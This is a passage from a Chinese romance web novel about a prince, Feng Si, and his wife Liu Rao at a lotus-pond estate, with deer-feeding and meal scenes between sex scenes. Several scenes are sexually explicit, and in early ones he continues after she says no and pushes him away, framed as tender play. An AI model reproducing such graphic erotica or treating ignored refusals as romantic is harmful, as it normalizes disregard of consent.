她吸着鼻子,瘪着嘴:“我现在不爱你了。” 封肆笑着低头,蹭蹭她的鼻尖:“你变心变得怎么这么快?我可要伤心了。” “你先变心,先弄疼我的。” “就因为此事,你就不爱我了?我从前为你做的事都不算数了?” “对!”她生气扭开。 封肆弯腰,在她嘴唇上啄吻,低声勾引:“宝贝。” 她屏息躲:“不亲不亲。” “乖宝贝。”封肆扶着她的后颈,温热的气息在她脸颊上轻轻流动,掌心悄悄往下溜。 她嘤咛一声,满是泪痕的脸颊又红扑扑,颤着声音问:“你的手、手,别摸那里……” “哼哼什么?难受?”封肆避而不答,手仍旧作乱。 “不、不是……”她伸着脖子,又是嘤咛,浑身忍不住轻颤,咬着唇喊,“小四……” 封肆贴着她的脸颊,轻声回应:“嗯。” 她紧紧抓着他的手臂,哑声道:“不要。” “什么不要?” “不要进去。”她推他的手。 “又不疼,为何不能?乖媚儿,不舒服吗?” 她难受得厉害,脸埋在他的胸膛里,一步步上了他的钩,同样的刺痛传来时,她正飘飘欲仙,还没有来得及喊疼,便被人扣去身前。 “呃!”她惊呼一声,呆呆躺在他的手臂中,蹙着眉,随波逐流。 她不说话,封肆也不说话,只是将她整个搂在怀里,不停疼爱。她怔愣许久,闭着眼伏在他肩头,小声喘气。阵阵荷香飘来,她闭着眼,脑中一片酥麻,恍惚似乎到了仙境,一阵阵云雾翻滚,□□,久久不能回神。 温暖的汤泉水从她的后颈落下,一路暖到腰后,她静静伏在那炙热的胸膛,眼前仍旧无法清晰。 封肆盯着她看了许久,没见她有反应,有些慌神:“媚儿?” 她呆滞的眼瞳转动,朝他看来。 封肆心中稍安,轻轻拍拍她的背:“疼吗?” 她轻哼一声,目光落去别处。 “疼不疼?媚儿?” “你这会儿才来问,有什么用?”她哑着嗓子道。 封肆抚抚她的后背:“若是疼得厉害,便尽早看大夫。我方才没太用力,大概没有太疼?” 她一口咬在他的肩上。 封肆倒吸一口冷气,捉住她的后颈将她拎起:“属狗的?” “你才是属狗的!你先弄疼我的。”她不服气。 “真有那样疼?我方才听你叫得挺欢的,我怕你不好意思才没戳破你。” “哼!”她又在他脸上咬一口,“就是疼!这会儿还疼,我看见了!你都给我弄出血了,你真是个混蛋!” 封肆忍俊不禁:“媚儿现下是我的人了,往后我会对媚儿更好。” 她被哄得高兴,弯眉飞扬,抿住翘起的嘴角,往他肩上一歪,小声哼哼:“可是真的好疼的,我腿都合不拢了。” 封肆咽了口唾液:“我给你看看?” “噢。”她面颊微烫。 封肆将她打横抱起,看着水面下被折腾的红肿,目光越来越幽暗,指尖忍不住又探去。 她警觉,一把按住他的手:“干什么?” 封肆沉声道:“我看看里面破了没有。” “噢。”她将信将疑松手,猝不及防被人又按去腿上,惊呼一声,扭头要跑。 封肆手一伸,将她捞回,按住她的小腹,借着温热的汤泉长驱直入,忍不住喟叹一声。 她也哼一声,哭丧着脸:“你说你只看看的。” 封肆咬着她的耳垂:“谁叫你勾引我?” “我没有勾引你。”她欲哭无泪,“明明就是你自己有邪念,还怪在我头上。” “宝贝,你没有邪念吗?”封肆手下一拧。 她圆润的眼珠子都快瞪出来,惊叫连连,吵得两岸的荷花都忍不住颤。 封肆低笑着蹂躏:“舒不舒服?媚儿?” 她从来没有体会过这样汹涌的感觉,颤得眼泪都迸出,沙哑的嗓音中带着哭腔:“不要拧那颗小珠子。” “难受?” “不知道……呜呜呜……”她突然又哭起来。 封肆皱了皱眉,抬头去看:“怎么了?哭什么?我现下总没弄疼你。” 她大哭:“太舒服了,我受不了,再这么下去,我会死掉的。” 封肆笑出声,懒散靠回岸边,轻轻给她揉按:“不会死,放松,靠在我怀里,慢慢享受。” 她几乎是躺在他的怀里,双脚踩在汤泉池底,仰着脖子,看着亭顶复杂的横梁,不停地喘气,生怕下一瞬喘不上气来就会死掉。 封肆看着她一张一合的唇,眼神越发幽暗,抱着她从水中站起,立在荷花池旁。 她吓坏了,连忙喊:“我要摔在地上了,你放我下来!” 封肆眼底越发幽深,在一声声惊叫中,将她抛起又放下,手臂上缠绕的筋脉凸起,几欲爆裂。 晚风起,惊叫声停歇,柔软无力的足尖轻轻颤栗,一朵花苞摇摇绽放。 封肆长舒一口气,放下她早已酸软疲惫的腿,伴着滴滴答答声,将她抱回汤泉中。 这一回,她真累了,指尖都抬不起来,浑身一片粉红,碰到哪里,哪里便是一阵颤栗。 封肆怜惜地将她抱在怀里许久,才轻轻为她清洗:“是不是累坏了?我抱你去用膳,好不好?” 她面色红润,神情却像是蔫儿了的冬瓜,软绵绵枕在他的肩头,一动不动。 封肆轻哄:“媚儿,我知晓你疼,是我不好,不该太用力,可你太可爱了,我忍不住,我好爱你。” 她顿了顿,抽抽搭搭哭起来。 封肆将她搂进怀里,心疼极了:“乖宝贝,是夫君不对,我跟你道歉好,莫哭了,疼不疼?我们先大夫来看看,好不好?” 她轻轻摇头,泪珠挂在脸上,脑袋抵在他肩上。 “不疼?那为何哭得这样厉害?”封肆轻抚她的发顶,在她额头上亲了亲,“抱你去用膳,好不好?” “我想歇一会儿。”她靠在他肩上,有气无力。 封肆将她打横,整个抱在怀里:“累?” 她轻轻点头。 “媚儿。”封肆笑着抚摸她的脸颊,忍不住在她脸颊一下又一下啄吻,“乖媚儿,好乖。” 她刚哭过,眼眸还有些红,眼瞳却越发透明清澈,像一对毫无瑕疵的琉璃珠,一眨不眨地看着他。 封肆心都要化了,生怕自己坚硬的手臂勒到她,恨不得化成一朵轻飘飘软绵绵的云,将她轻轻托着,轻轻包裹。 “屁股疼。”她小声道。 “屁股疼?”封肆一脸疑惑。 柳娆脸颊微红,小声嘟囔:“就是那里疼,你给我撑坏了,我感觉它再也合不上了。” “坏不了,睡一觉就好了。”封肆安抚,“疼得厉害吗?” 她点点头,又摇摇头:“有一点点疼,一动就疼,我走不了路了。” “我跟你保证,睡一觉,明天起来就会好。” “噢,我饿了。” 封肆将她抱起,裹上一张毯子,赤足穿过飘满荷香的游廊,跨入岸边的房屋中,在竹榻坐下,给她套好寝衣,将她的长发简单束起,双手搂着她,将侍女送来的虾剥好,送进她口中。 她嚼一嚼:“还挺好吃的。” 封肆笑问:“不闹脾气了?” 她脑袋一扭:“哼。” 第33章 第 33 章 你不爱我了 “嗯?”封肆又剥好一只, 送到她嘴边。 她一口接下,哼哼几声:“我还没原谅你呢。” “还没原谅我?那要如何才能原谅?” “你故意弄疼我,我现在还疼, 我才不要原谅你呢。” “你不是说只有一点点疼吗?” “一点点疼也不行。”她伸着脖子去咬他的鼻尖, “你喜欢我, 就一点点也不能弄疼我。” 封肆笑道:“好。” 她顿了顿,小声问:“你以后不会都要这样弄我吧?” 封肆垂首, 在她耳旁悄声道:“别说这么勾引人的话, 我怕一会又忍不住想要你。” 她脖子一缩:“我没勾引你!” “你说这么直白的话就是在勾引我。” “那我不这么说, 还能怎么说?你简直是强词夺理!” 封肆低笑,胸腔微微震动,还不忘自己给她剥虾,送去她口中:“宝贝太可爱了, 你说什么我都想要你。” 她双眸震惊, 抱臂转头, 脸气得鼓起来。 封肆凑过去, 低声道:“这样也可爱。” “混蛋混蛋混蛋!”她气得双手挥舞,往他身上乱招呼。 封肆结结实实挨了好几下,一把捉住她的手腕,塞进怀里,温声教训:“不许打人。” 她撅了撅嘴,不服气:“哼!” “尝尝新煮的莲子羹,清凉解暑。”封肆舀一勺汤羹,轻轻吹了吹, 送进她口中,“暑气已至,热不热?若是热, 我便叫人送些冰块来。” “不热,莲子羹好喝,我要自己喝。” 封肆笑了笑,将碗递给她。 她双手举起,咕噜咕噜一口气喝完,嘴沾一圈汤渍,感慨一声:“真好喝。” 封肆心头微动,偏头,垂首,吻掉她嘴角的甜汤。 她大惊失色,连忙抬手,正手一抹,反手一抹,两把就将嘴擦得干干净净,惊叫道:“碗里还有啊,你、你要喝就说呀,我会给你盛的,你这是干嘛呀!” 封肆笑得直不起腰,重重在她嘴上亲一口:“我不喝,你自己喝吧。” 她奇怪看他一眼,又抹了抹嘴,警惕盯他片刻,舀两勺,捧着碗又一口喝完:“真好喝。” 封肆抬手。 柳娆立即往后一闪,舀一碗,递给他:“你喝吧。” 封肆笑着喝一口,敲敲她的头:“你这个小脑瓜里在想什么呢?” “你才奇怪呢。”她嘀咕一句,起身要走,微微裂痛感传来,她又一屁股坐回去,恼道,“屁股疼,你抱我。” 封肆挑眉:“吃好了?” 她嘴一撅:“被你气得吃不下了。” “真吃不下了?天不早了,你这会儿不吃,一会儿饿了可没得吃。” “我真吃好了。” 封肆净完手,抱着她跨入卧房,将她放下:“睡吧,天不早了。” 她没说话,拿着枕头垫去背下。 封肆莫名:“这是做什么?” “她们说枕头垫在腰下会怀孕,那我垫在背下肯定就不会怀孕了,我还不想生宝宝呢。” 封肆被逗笑:“我方才都给你洗干净了,你垫哪里都不影响,若是没洗干净,你垫背下也没用。” 她眉头一皱:“那要怎么才有用?” 封肆坐下:“洗干净就好,我方才不是给你洗干净了吗?你都还是个宝宝呢,我怎么舍得让你现在就生?” “真的?”她欣喜抱住他的脖颈,在他脸上啵唧两口,“小四,你真好。” 封肆搂着她躺下,随意闲话:“为何不想生孩子,怕疼?” 她扭了扭,寻了个舒服的姿势卧在他的臂弯中,闭着眼道:“生了孩子,就得照顾他,我还没玩够呢。” 封肆笑着在她额头上轻吻:“无妨,我不着急要孩子,你玩几年再说吧。” “那可太好啦……”她打了个哈欠,声音越来越小,酣然入梦。 天光大亮,一夜无梦,她睁眼,对上封肆的目光,抿着唇笑一笑,钻进他怀里。 封肆嘴角微扬,悄声问:“还疼不疼?” 柳娆一怔,如梦初醒,往后退几步,起身跨过他,在地上走了两圈,眼眸微转:“还好。” “过来。”封肆朝她招招手。 “做什么?”她高高兴兴蹦过去,被他搂住的那一刻,突然刹住,警觉道,“干什么?” 封肆的下唇蹭过她的耳垂:“不是不疼了吗?” 她眉头一皱,连忙往后躲:“我饿了,我要吃饭,而且,我们还没有洗漱呢!” 封肆笑着松手:“这么害怕?” 她抿了抿唇,快步跑远:“我没害怕。” 封肆不紧不慢起身,随意系上寝衣,跟在她身后:“那为何跑得这样快?都不疼了,你还不愿意,你不爱我了。” 她一噎,双手举起帕子胡乱抹脸,小声反驳:“我没有不爱你,我只是、只是……” “只是什么?”封肆停在她身后,双手圈住她,浑身的热气往她身上涌,“你说清楚,我才好有所改进。” 她浑身一凛,趁他不注意,身子一矮,从他手臂下溜走,迈着小碎步匆匆朝衣柜去:“我不喜欢那样。” 封肆又跟上:“为何不喜欢?” “我……”她苦恼一阵,叉着腰又道,“不喜欢就是不喜欢,哪里有什么为什么?” “你不说,就只能证明你是在敷衍我,你不爱我了。” 柳娆脸又苦起来,抓耳挠腮道:“哎呀,你这个人怎么这么难说明白呢?” 封肆按捺住笑意:“你还没说,就说和我说不明白?” “哎呀!”她重重叹息一声,脚尖碾着地,难为情道,“可是你太用力了,我受不了嘛。” 封肆忍不住低笑。 柳娆气鼓鼓瞪他一眼:“你笑什么?我说认真的。” 他上前几步,腿往她身旁的脚凳上一踩,扶着她的后颈,在她额头上轻吻:“知道了。” 柳娆歪着头:“嗯?” “去收拾。”封肆揉揉她的脑袋,“不是要去看小鹿?收拾好就去。” 她眨眨眼:“不弄啦?” 封肆捏捏她的脸:“你想?” 她连连摇头:“不不不,我要去看小鹿,走走走。” 封肆笑着跟在她身后,跟着她从洗漱间,到起居室,沿着满是荷花的小径前行,抵达大片青葱的草地,两只小鹿正在草地里悠闲吃草。 柳娆瞧见小鹿,眼一下亮起来,欢腾奔去,满头碎发迎风飞舞,高呼着:“小鹿!好可爱啊!” 两头鹿吓得一抖,分头逃走,她扑了个空,急急刹住,顶着竖起的碎发愣愣看去:“诶?它们怎么都跑了?” 封肆不紧不慢跟上,孔雀蓝的长袍随风微微轻漾:“要是有个陌生人朝你大喊大叫跑来,你也得逃。” 柳娆眉头紧皱着,却无话可说,小声嘀咕:“噢。” “来。”封肆笑着朝她伸手,牵着她朝饲养小鹿的侍女去,要一把果子,向跑远的鹿缓步而去。 草场有围栏,小鹿跑不远,吃着草,悠哉悠哉又走回来,封肆递出一颗果子,它们立即缓缓走来,争先恐后地接下。 “嗯?”封肆将果子朝她递去。 她弯起唇,高兴接过,两只手抓得满满当当,一起伸出去,哪一只都不冷落,开心哄:“都慢慢吃,别着急。” 封肆目光落在她的脸上,嘴角总扬着,接来侍女递来的手帕,将手擦净,又落去她肩上:“喜欢?” 她双眸看着小鹿,一闪不闪,连连点头:“嗯!” 封肆朝侍女使了个眼神,侍女立即呈上装食物的托盘,她又抓满满两把,乐此不疲朝小鹿喂去:“吃吧吃吧。” 很快,那一盘食物耗尽,封肆试探:“喂好了吧?” “还没呢,它们没吃饱,还在舔我手心呢,你再让人去拿些吃的,我还要喂它们。” 封肆无奈点点头,朝侍女吩咐:“给鹿拿些口粮来,再将几案都搬来。” 他有一种预感,他今日一整日都要在这里度过。 侍女将几案摆好,他立即坐下,斜靠在软垫上,斟两盏茶,朝人看去:“坐着喂吧。” “不要。”柳娆正在跟两头小鹿友好交流中。 “站着不累吗?” “不累不累,你自己坐着就好,不用管我。” 封肆悄自叹息一声,无奈看着。 午时,日光越来越烈,人还站在日光底下,两只鹿被她喂得肚皮都鼓起来,封肆忍不住又开口:“太阳大了,回来坐着,别晒伤了。” 她头也没回一下:“它们还没吃好呢。” 封肆朝侍女看一眼:“给王妃多撑几柄伞。” 那两只鹿明显吃饱了,懒洋洋地趴在草地上,嘴如何都不肯再张开,柳娆往将果子往它们嘴上怼,将它们惹烦了,它们懒洋洋起身要走。 “诶诶!”她喊两声,抓着果子追上去,举着伞的侍女也赶忙跟上,总预料不了她的方向,伞总遮不住她。 封肆站起望去,皱着眉喊:“你让人将鹿拴起来不就行了?” “噢噢。”柳娆立即将果子兜进怀里,握着鹿颈上的皮圈拉着它们往回走,可那两只鹿吃饱,一点不搭理她了。 封肆重重叹息一声,大步走近,将两只鹿拽回来,拴在伞盖下的地桩上:“好了,别往太阳下去了。” 她眨眨眼,一脸崇拜地看着他,在他脸上亲一口:“小四,你好厉害啊,你一来它们就听话了!” 第34章 第 34 章 你给我抓,我也能呼噜 封肆有些无奈, 嘴角却忍不住扬起,又往软垫上一靠:“洗洗手去用午膳吧。” “不不,我不饿。”她蹲在地上, 又将果子往鹿嘴上怼。 “你不饿, 它们也不饿, 你看不出来它们不想吃了?起来,洗洗手, 歇一会儿。” “可是它们没吃多少啊。” “你已经喂它们吃了好几筐果子了, 怎么会没吃饱?你看它们肚子撑的, 再吃都要撑死了,赶紧起来吧,地上多脏。” 柳娆叹息:“好吧,那我给它们梳毛吧。” 封肆嘴角微抽:“你还真是有劲儿, 将来万一咱们沦落了, 你也饿不死, 还能去养殖。” “沦落了?”柳娆脑袋一转, “为什么会沦落?咱们家是不是出什么事了?” “没什么事,玩你的吧。” 她点点头,继续拿着毛抓顺着小鹿的头往背上刷,那两头鹿刚吃饱,这会又有人伺候挠痒,舒服得眼睛都眯起来。 封肆看不下去:“你有这个劲儿,怎么不来给我挠挠?” “啊?你身上也痒吗?” 封肆沉默片刻:“对。” 柳娆想了想:“那要不你去洗澡吧?可能是你昨晚没洗干净。” 封肆眼前一黑:“行了,玩你的吧, 你玩累了喊我,我睡一会儿。” 他往下躺了躺,眼上遮一只手帕, 听着毛抓的呼呼声,安然入眠。没过多久,柳娆那张软乎乎的脸突然凑近,落下一道阴影,他睁眼,迷惑看去。 “不玩了?”他问。 “我一个人好无聊,你陪我一起给它们梳毛吧,刚好你一只,我一只。” 封肆扶了扶额:“要不先去用午膳?” “可是我还不饿嘛,你饿吗?” “我饿。” “那我先陪你去吃饭,然后你再陪我来给它们梳毛吧。” 封肆深吸一口气:“宝贝,你喜欢给他们刷毛,你自己给他们刷就好。” 柳娆看着他:“你不喜欢吗?” 他和她对视片刻,痛定思痛,果断道::“不喜欢。” “可是我很喜欢,你不能陪我吗?” “可我不喜欢。” 柳娆眼眸动动,身子一转,往他身上软去:“我要你陪我嘛,你又没什么事要做,躺在这里也是睡觉而已,为什么不能陪我,你不爱我了。” 他有些头疼:“你自己玩不成吗?” “可是我就想和你一起嘛。”柳娆赖在他身上,蹭来蹭去,扭来扭去,一会又在他身上转圈,裙摆转进他的腿中,露出光洁的腿。 他按了按眉心:“让侍女陪你玩……” “不嘛。”柳娆的脑袋从他手臂下钻出,脸颊蹭着他的脸,眼睛眨巴眨巴,“我就想你陪我嘛,小四,你陪我~” 封肆的脑子被吵得嗡嗡响,很快,终于坐不住,皱着眉起身:“好好好,别吵了。” 她抱住他的腰,抬着头笑眯眯看他:“嘿嘿,你愿意陪我了,是吗?” 封肆垂眸看着她咧开的嘴,无奈弯唇:“给我拿一个抓子去。” “唔唔!太好咯!”她欢天喜地,手舞足蹈,欢快奔去拿一个毛抓,又欢快跑回,塞进封肆手中,拉着他一起蹲去鹿旁,拿着毛抓一下下给小鹿抓痒。 那两头鹿享受得很,口中还发出些呼噜声,封肆听得来气,柳娆却是兴致勃勃。 “它们好乖啊,还会呼噜呼噜。” “你给我挠,我也能呼噜。” “真的?”她举起毛抓。 封肆看着那铁抓,脖子往后缩了缩:“不用,我又没毛。” 柳娆眨眨眼:“你有啊。” 封肆一把捂住她的嘴:“别乱说!” 她眼珠转动,疑惑挠挠脸:“我没乱说啊,你的头发不是毛吗?” 封肆嘴角一抽:“是是是,你继续。” 柳娆弯着眼往他肩上一靠:“我真幸福啊。” 他哼笑。 “你不幸福吗?” “幸福,还能学一门手艺。”他拿着毛抓胡乱给鹿挠。 柳娆笑着亲他一口,下巴放在他的肩上:“小四,你真好。” 他悄自叹息:“什么时候能挠完?” “再挠一百下吧,再挠一百下咱们就去休息。” “什么?”封肆眉头紧皱。 柳娆严肃道:“你连这点苦都不能吃,往后还想以此为生?” 封肆好笑:“我方才跟你说笑呢,咱们不至于沦落至此,你不必如此认真。” “噢。”她不假思索,“那你也要梳一百下。” 封肆深吸好几口气才按住脾气:“我不想梳。” “你想。”柳娆抱着他的肩,在他脸上蹭来蹭去,“小四,你想嘛,我们来比谁梳得快。” 封肆眉头微动:“赢了的人有什么奖励?” 柳娆思考一阵:“嗯……还要奖励吗?给它们梳毛本身就是奖励啊?” 封肆垂首,在她耳旁悄声道:“你要是输了,今晚就和我洞房。” 她眼睛一圆,还没反应过来,唰唰声便响起来,她看身旁的人片刻,听着报数声,慌忙拿起毛抓呼呼往鹿背上刷。 很快,封肆报到一百,扔下毛抓,朝她看来:“媚儿,你输了。” 她瘪了瘪嘴,手下的毛抓都慢慢停下。 封肆笑着看她:“愿赌服输。” 她一下就蔫儿了,闷闷不乐耷拉着头:“噢。” 封肆净完手,牵过她的手,拿着湿帕子将她的双手擦净,将她打横抱起:“走了,回去歇着。” 她嘴瘪得更厉害,看着要哭了。 封肆低头蹭蹭她的鼻尖,悄声问:“这么不情愿?你要我和你一起伺候鹿,我可是都答应你了。” “你欺负我。”她小声嘀咕。 “你方才还欺负我了呢。”封肆咬住她的耳垂,“晚上让你在上面,你不是挺喜欢在上面?” 她眼睛眨巴眨巴:“我在上面?” 封肆挑眉:“不愿意?” 她眼珠子滴溜溜转一圈,重重点头:“好。” 封肆将人往上抛了抛,吓得人紧紧抱住他的脖颈,他稳稳抱住她,扬唇大步往前。 她几乎是和鹿滚在一起了,身上全是鹿和青草的气味,封肆拿着澡豆给她搓了半晌,才将那股味道洗净,她自己也嗅嗅,满意点头:“真香啊。” 封肆埋头在她脖颈中也深吸一口:“是挺香的。” 她被他的气息搔得痒痒,咯咯轻笑:“我们去抹香露吧,抹完就能吃饭了。” “这又是什么东西?大夏天的,天这样热,再往身上抹些黏腻的东西,不会不舒服吗?” “不会啊,很清爽的。”她跨上岸,拉着他往前走,留下一串湿漉漉的脚印,拿起矮几上的瓷瓶,递到他的鼻尖下,“你闻闻,是不是很香?” 封肆皱着眉闻闻,眉头稍稍舒展:“一股茉莉花的气味,倒不难闻。” “对呀。”柳娆将瓷瓶往他手中一塞,“你给我抹。” “行吧,总比给鹿刷毛好。”他嘀咕一声,将茉莉香露倒进掌心中,轻轻在她手臂上抹开。 “你要不要抹?” 封肆立即拒绝:“不用,你抹就好。” “你也抹嘛。”柳娆往手心倒一些,朝他身上囫囵抹去,“现在我们身上的气味就是一样的啦。” 他嘴角扬起,任由她胡来,又往她腿上抹。 柳娆挺挺胸脯:“这里也要抹。” “嗯?”封肆眉头微挑,“抹这里?那我吃了中毒了怎么办?” “啊?”她瓷净的脸肉眼可见地红起来。 封肆忍着笑,搓搓手心里的香露,往她身前抹去,掌心也不知是有意还是无意,时不时剐蹭过去,惹得她的脸越发红润,连连往后瑟缩。 “躲什么?”封肆抓住她的肩,“不是你要我抹的?” 她气息不稳,眼眸迷蒙眨着,无意识往后退,被人又抱回去,她慌忙道:“我饿了,我要吃饭!” “吃饭?”封肆捏起她的下巴,“你要我抹什么香露的时候,可是一点儿都没饿的样子。” 她撅撅嘴,小声道:“我就是要吃饭。” 封肆瞧着她的红润的唇,忍不住一口含住,将她往桌面上一按,含糊不清道:“我先吃。” 她挣扎几下,见挣不脱,又喊:“你说让我在上面的!” 封肆微顿,不紧不慢松开她:“好。” 她咽了口唾液,小心翼翼站起,转头就跑。 封肆看着她的背影,笑着追上去:“这么光溜溜跑出去,当心被人撞见。” 她绕着柱子躲:“我要先吃饭!” “吃饭就吃饭,我又不会饿着你,你怕什么?”封肆穿过竹帘,笑着去捉她。 她又躲:“我不信,你明明很着急的样子。” 封肆绕着柱子追:“哪里着急?” 柳娆眼眸垂垂示意。 “能忍住的。”封肆双臂一伸,将她搂进怀里,低头与她耳鬓厮磨,轻声道,“先吃饭,想吃什么?” 她抿了抿唇:“真的?” “真的。”封肆随手拿起寝衣,将她包裹住,牵着她往前走,“想吃什么?” 她迟疑片刻,双手抱住他的腰,倚着他走:“想吃小羊羔,那种很嫩很嫩肥瘦相间的,要煎着吃,还想吃葡萄和蜜瓜。” 封肆在她额头上亲了亲:“好。” 她踮起脚尖,在他脸上回亲一口,弯着唇道:“小四,我走不动了,你抱我。” 第35章 第 35 章 我心里也好爱好爱你的 “方才陪鹿玩时那样有劲, 现下又走不动了?”封肆调侃着,将她抱起,“玩高兴了吗?” 她靠在他肩上, 指尖戳戳他的耳垂:“我想将那两只小鹿带回咱们家去。” “这里也是我们的家, 你要是想养, 来这里就好,王府里没有适合养它们的地方。” “那你能把它们送给我吗?” “你是王妃, 是这里的女主人, 这里的一切都是你和我的, 它们自然也都是你的,你想如何处置就如何处置。” 柳娆灿然一笑,在他脸上重重亲一口:“小四,你太好了, 我太爱你了。” 他扬着唇道:“你就只是嘴上的爱。” “怎么就只是嘴上的爱了, 我心里也好爱好爱你的。” “那要你为我做些什么呢?” “做些什么?”柳娆望着天, 绞尽脑汁思索许久, 遗憾道,“我好像没什么可以为你做的诶,你已经是王爷了,要什么有什么,也不需要我做什么,既然如此,也不能算是我的错。” 封肆气笑了:“你真是能自说自话,去让侍女给你擦头。” “不要, 我要你给我擦。”她紧抱住他的脖子,不肯落地。 封肆叹息一声,抱着她在梳妆台前坐下, 拿着帕子将她湿漉漉的发梢绞干净,拍拍她的屁股:“好了,起来。” 她还是不肯动,赖在他的肩上:“不要,你抱我去吃饭。” “走也不肯走,那你长腿做什么的?”封肆在她小腿肚子上捏捏。 她嘿嘿乱笑,垂在他臂弯里的两条腿轻晃:“可是我想你抱我嘛,小四,我好爱好爱你噢。” 封肆知道她只是嘴上说说,可心里还是高兴得紧:“好了,知道了,别嚎了,下来坐好。” 她笑眯眯坐下,接过碗筷,夹一块羊肉,高兴咀嚼:“这么快就做好了,真好吃啊,小四,你也吃一块。” 封肆接过,却道:“好了,你吃自己的就好。” “可我想喂你嘛,你刚才还说我只会嘴上说爱你,现在又不要我表现,明天别又怪我。” “我眼下能吃能喝的,不用你伺候,什么时候我老了,你来照顾我,才是真的用心。” “那肯定的呀,你要是老了,咬不动肉了,我肯定嚼碎了喂你,你放心吧!” 封肆一噎:“当我没说。” 柳娆凑去他眼前,歪着脑袋看他:“为什么呀?我愿意照顾你,你不是应该很开心才对嘛?” 他瞥她一眼:“开心,快吃饭吧。” “你也吃。”柳娆在他碗里堆起一座小菜山,乐呵呵将一碗米饭吃得干干净净,又喝下满满一碗汤,擦擦嘴,双手撑着脸,晃悠着腿,看着他。 他目不斜视,想当做没瞧见,却总也忍不住在她哼哼的小曲儿中渐渐弯唇。 “别盯着我看了,吃好了。”他起身要走。 “你还没擦嘴呢。”柳娆跟上去,夺过他手中的帕子,胡乱将他的薄唇擦净,又端一盏茶水奉上。 “我自己来。”他要接过茶盏。 “诶诶!”柳娆将他拦住,“我喂你。” 他无奈喝一口茶水,转身要吐时,柳娆又接过侍女手中的痰盂,捧到他跟前。 “吐吧。” 他看她片刻,生怕茶水溅到她,弯着背,小心翼翼将茶水吐进痰盂中:“放下吧。” 柳娆在他嘴上亲一口,笑着抱住他的腰。 他弯了弯唇,将人抱起,往卧房走:“香露是不是还没抹完?我继续给你抹。” 被指尖剐蹭的感觉一瞬间又涌回脑中,柳娆挣扎几下,连连摇头:“不不不,抹完了。” “抹完了?我怎么记得腿上还没抹?”封肆单手拿起那些瓶瓶罐罐,从中寻到茉莉花露,倒在掌心中,往她腿上抹去。 她咽了口唾液,起身要走,腰被按住,靠坐在他腿中动弹不得。 封肆越抹越不对劲,她立即收回挂在他腿上的小腿,封肆双腿一张,将她按得死死的:“别动。” 她咽了口唾液,忍不住瑟缩:“痒。” 身后的人似乎未听见,低头在她脖颈上亲吻:“好香。” 她气息越发不稳,连连挣扎:“你放我下来,你说让我在上面的!” “急什么?我都没急,不给你弄弄,一会疼了又要哭。”封肆将她的腰箍得更紧一些,“舒不舒服?” 她眉头紧皱着,唇也咬着,浑身紧绷着,未回答。 封肆轻柔地吻又落在她脸上:“为何这样紧绷着?害羞?还是紧张?乖媚儿,告诉我,好不好?” 她抿了抿唇,小声回答:“害羞,也紧张。” “来。”封肆松手,将她搂进怀里,轻声细语,“为何紧张?你不喜欢我吗?” 她抱住他的肩,躲在他怀里,抬眸看着他:“就算是喜欢你,我也会紧张的呀,你被人触碰那种地方,不会紧张吗?” 封肆扬唇:“可我又不是外人,我不是你夫君吗?” “噢。”她眼眸轻动,“可是我还是会害羞呀。” “那是我们接触太少了,等接触多了,你就不会害羞了。”封肆低头,触碰她的唇,“亲我。” 她顿了顿,轻轻含住他的唇,像吃桂花糖那样,轻轻吮吸,冰凉的扳指触碰到她腿上的肌肤,她微微一抖,却没有阻拦,只是闭着眼继续吃她的桂花糖,直到上下都逼得她无法顺利呼吸,她紧紧抓着他的肩,抵在他的肩头小口喘气。 封肆没有出声,感受着她的心跳,她的呼吸,她的颤抖,轻轻抚摸着她的后背,一下一下,轻轻安抚。 他用帕子将整根手指擦净,搂着她往后倒,低声道:“媚儿,上来。” 如柳般的长发轻飘飘垂落,柳娆颤颤巍巍撑在上方,湿润的眼眸看着他,哑声问:“然后呢?” “你不是会吗?洞房那日你不是自己来过?” “塞不了。” “这回可以的,再试试。” 她抿了抿唇,目光落在不远处的雕花屏风上,不敢和他对视,紧蹙着眉头,小心翼翼坐下。她未能预料如此顺畅,不慎骤然滑入,惊呼一声。 封肆忍住笑,将她搂进怀里:“疼?” 她瘪了瘪嘴:“撑。” 封肆拍拍她的背:“别怕,慢慢的。” 她抱着他的肩,害羞磨蹭,小声问:“是这样吗?” “你这样舒服吗?” “嗯。”她咬着唇,轻轻点头。 封肆轻轻将她的脑袋按在怀里:“那就好,没什么定式,你舒服就好,宝贝。” 她紧绷的心缓缓放松,酥酥麻麻的感觉从尾椎而起,迅速流淌在身体的每一个角落里,连指尖都忍不住微微颤栗,眯着眼在他肩头大口喘气。 “要。” “什么?” 她小声嘟囔:“帮帮我,我没力气了。” 封肆勾唇,搂着她坐起,掐着她的腰问:“这样好不好?” 她连连点头,眼睫缀着的泪珠滑落。 封肆笑着亲亲她的脸:“要不要我摸这里?” “要,都要。”她埋头在他怀里羞涩道。 封肆低垂着头,一口咬上去,惹得她又是一阵颤抖,未干的双眸瞬间又渗出许多泪来,婉转悱恻的声音在房中回荡。 她明明很不喜欢这种像是被凿开的感觉,可身体里好像有一个小羽毛在挠她勾她的,让她忍不住地沉,渴望更多更充盈,直至无法承受,留下满脸无意识的泪水。 封肆轻轻抱住她,掌心在她后背轻抚,帮她喘匀气,才轻声开口:“媚儿。” “嗯。”她声音沙哑,带着浓浓的鼻音。 “累了,是不是?我哄你睡觉好不好?”封肆放下床帐,遮住烛火的光,搂着她躺下,轻轻在她后背拍打。 她浑身被抽干,累得厉害,脑海中一片空白,在那温热的怀抱中,昏昏沉沉睡去,一夜无梦,一觉天明。 封肆瞧她睁开眼松了口气,她昨夜叫得那样厉害,恐怕整个屋外都能听见,封肆真怕自己将她弄坏了,夜中醒了好几回,又是探她的额头,又是探她的鼻息,此刻心中才真正踏实下来。 “媚儿?”他轻唤。 “嗯。”柳娆揉揉眼,脑袋往他肩上一搁,“好饿。” 他弯唇:“我抱你起来。” 柳娆呆呆靠在他肩头,洗过脸,风一吹,渐渐回神,又活力满满,乐呵呵吃完饭,拉着他又蹦蹦跳跳往小鹿园子跑。 他看着她头上飞起的发带,眼眸中不觉露出点点笑意,跟着她一起跑在垂柳依依的石子小径上,一向庄重的衣袍随着风儿斜飞,那两头鹿也格外可爱起来。 “给!” 他被塞一把果子草料,小鹿朝他走来,毫不客气将他的手当做槽盆,嚼得满嘴汁水。 柳娆笑眯眯看着他:“好不好玩?” 他也笑:“好。” “给!” 他手里又被塞了把毛抓。 他好像着了魔,被人带着在园子里疯跑,在树上摘果子,在荷花池中采莲蓬,弄得浑身都是泥,换了好几池水才洗净,那个家伙仍旧精神充沛,顶着湿漉漉的发朝他爬来,他恍然回神。 “干什么?” 